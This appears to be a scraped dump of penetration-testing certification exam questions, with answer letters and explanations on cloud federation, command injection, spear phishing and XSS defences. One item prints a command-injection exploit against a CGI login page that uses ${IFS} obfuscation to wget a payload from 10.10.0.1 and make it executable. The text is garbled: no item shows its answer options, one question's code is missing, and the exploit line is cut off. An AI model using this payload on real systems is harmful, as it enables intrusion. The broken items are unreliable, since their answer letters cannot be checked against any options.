During the assessment of a client's cloud and on-premises environments, a penetration tester was able to gain ownership of a storage object within the cloud environment using the..... premises credentials. Which of the following best describes why the tester was able to gain access?
Correct Answer:
A
The best explanation for why the tester was able to gain access to the storage object within the cloud environment using the on-premises credentials is federation misconfiguration of the container. Federation is a process that allows users to access multiple systems or services with a single set of credentials, by using a trusted third-party service that authenticates and authorizes the users. Federation can enable seamless integration between cloud and on-premises environments, but it can also introduce security risks if not configured properly. Federation misconfiguration of the container can allow an attacker to access the storage object with the on-premises credentials, if the container trusts the on-premises identity provider without verifying its identity or scope. The other options are not valid explanations for why the tester was able to gain access to the storage object within the cloud environment using the on-premises credentials. Key mismanagement between the environments is not relevant to this issue, as it refers to a different scenario involving encryption keys or access keys that are used to protect or access data or resources in cloud or on-premises environments. IaaS failure at the provider is not relevant to this issue, as it refers to a different scenario involving infrastructure as a service (IaaS), which is a cloud service model that provides virtualized computing resources over the internet. Container listed in the public domain is not relevant to this issue, as it refers to a different scenario involving container visibility or accessibility from public networks or users.
A penetration tester was able to gain access to a system using an exploit. The following is a snippet of the code that was utilized:
exploit = “POST ”
exploit += “/cgi-bin/index.cgi?action=login&Path=%27%0A/bin/sh${IFS} –
c${IFS}’cd${IFS}/tmp;${IFS}wget${IFS}http://10.10.0.1/apache;${IFS}chmod${IFS}777${IFS}apache;${IF
&loginUser=a&Pwd=a”
exploit += “HTTP/1.1”
Which of the following commands should the penetration tester run post-engagement?
Correct Answer:
B
The exploit code is a command injection attack that uses a vulnerable CGI script to execute arbitrary commands on the target system. The commands are:
cd /tmp: change the current directory to /tmp wget
http://10.10.0.1/apache: download a file named apache from http://10.10.0.1./apache: run the file as an executable
The file apache is most likely a malicious payload that gives the attacker remote access to the system or performs some other malicious action. Therefore, the penetration tester should run the command rm -rf
/tmp/apache post-engagement to remove the file and its traces from the system. The other commands are not effective or relevant for this purpose.
During an assessment, a penetration tester gathered OSINT for one of the IT systems administrators from the target company and managed to obtain valuable information, including corporate email addresses. Which of the following techniques should the penetration tester perform NEXT?
Correct Answer:
D
Spear phishing is a type of targeted attack where the attacker sends emails that appear to come from a legitimate source, often a company or someone familiar to the target, with the goal of tricking the target into clicking on a malicious link or providing sensitive information. In this case, the penetration tester has already gathered OSINT on the IT system administrator, so they can use this information to craft a highly targeted spear phishing attack to try and gain access to the target system.
Which of the following concepts defines the specific set of steps and approaches that are conducted during a penetration test?
Correct Answer:
C
Given the following code:
Which of the following are the BEST methods to prevent against this type of attack? (Choose two.)
Correct Answer:
CE
Encoding (commonly called “Output Encoding”) involves translating special characters into some different but equivalent form that is no longer dangerous in the target interpreter, for example translating the < character into the < string when writing to an HTML page.
Output encoding and input validation are two of the best methods to prevent against this type of attack, which is known as cross-site scripting (XSS). Output encoding is a technique that converts user-supplied input into a safe format that prevents malicious scripts from being executed by browsers or applications. Input validation is a technique that checks user-supplied input against a set of rules or filters that reject any invalid or malicious data. Web-application firewall is a device or software that monitors and blocks web traffic based on predefined rules or signatures, but it may not catch all XSS attacks. Parameterized queries are a technique that separates user input from SQL statements to prevent SQL injection attacks, but they do not prevent XSS attacks. Session tokens are values that are used to maintain state and identify users across web requests, but they do not prevent XSS attacks. Base64 encoding is a technique that converts binary data into ASCII characters for transmission or storage purposes, but it does not prevent XSS attacks.